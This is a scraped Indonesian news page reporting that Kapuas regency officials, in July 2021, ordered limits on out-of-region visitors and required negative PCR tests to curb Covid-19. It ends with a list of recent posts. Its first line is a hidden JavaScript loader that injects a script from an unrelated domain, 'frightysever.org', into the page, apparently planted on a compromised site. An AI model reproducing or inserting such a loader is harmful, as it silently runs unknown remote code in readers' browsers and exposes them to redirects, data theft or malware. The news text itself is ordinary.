(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Sekda Kapuas Minta Pejabat Batasi Tamu Luar Daerah Masuk


KANALKALIMANTAN. COM, KUALA KAPUAS – Pemerintah Kabupaten (Pemkab) Kapuas menggelar apel bersama, menindak lanjuti Surat Edaran Gubernur Kalimantan Tengah (Kalteng) dan Surat Edaran Kapolda Kalteng tentang peningkatan upaya penanganan Covid-19, Senin (5/07/2021).

Apel berlangsung di halaman kantor Bupati Kapuas diikuti Sekda Kapuas Septedy, Kapolres Kapuas AKBP Manang Soebeti, sejumlah Kepala Perangkat Daerah di lingkungan Pemkab Kapuas.

Sekda Kapuas Septedy menyatakan dukungan atas semua langkah-langkah yang telah dilakukan oleh berbagai pihak dalam mengantisipasi dan menekan penyebaran Covid-19 di Kabupaten Kapuas.

Saat ini kasus penyebaran Covid-19 mulai mengalami peningkatan dan berdasarkan hal itu diminta kepada seluruh pihak, khususnya Perusahaan Besar Swasta (PBS) dan perusahaan lainnya agar dapat membatasi karyawan maupun tamu yang berasal dari luar daerah.

 

 

Baca juga: Bos Kopitiam Ditemukan Membusuk Tanpa Pakaian, Polisi: Meninggal Karena Covid-19

“Kalaupun memang harus datang, diwajibkan membawa hasil negatif dari rapid test ataupun PCR dan apabila terdapat terpapar pihak perusahaan itu harus menyediakan tempat karantina masing-masing,” ujar Septedy.

Seluruh kepala perangkat daerah harus membatasi tamu yang datang maupun diundang ke Kabupaten Kapuas. “Mereka yang datang, harus menyertakan hasil tes Polymerase Chain Reaction (PCR) negatif Covid-19,” imbuhnya.

Sementara itu, Kapolres Kapuas AKBP Manang Soebeti mengatakan, saat ini sudah dibangun pos penyekatan di Anjir untuk menyaring masuknya orang ke wilayah Kalimantan Tengah.

“Petugas di sana akan melakukan pemeriksaan akan kelengkapan persyaratan yang sudah ditetapkan pemerintah terhadap orang yang masuk ke wilayah Kalteng, khususnya dari diwilayah Kalimantan Selatan,” tutur Kapolres Kapuas.

Langkah yang sudah dilakukan dalam menekan penyebaran Covid-19 ini, salah satunya dengan memperketat Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) mikro di Kabupaten Kapuas. (kanalkalimantan.com/ags)

Reporter : ags
Editor : kk


Risa

Recent Posts

1 Ramadan Resmi Jatuh Kamis 19 Februari

KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More

9 jam ago

Hilal di Kalsel Tidak Terlihat, 1 Ramadan Menunggu Keputusan Pusat

KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More

11 jam ago

Arti Warna Merah dalam Tradisi Imlek

KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More

16 jam ago

Ini Makna di Balik Shio Kuda Api Imlek 2026

KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More

19 jam ago

Malam Imlek Penuh Khidmat di Klenteng Karta Raharja Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More

21 jam ago

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

2 hari ago

This website uses cookies.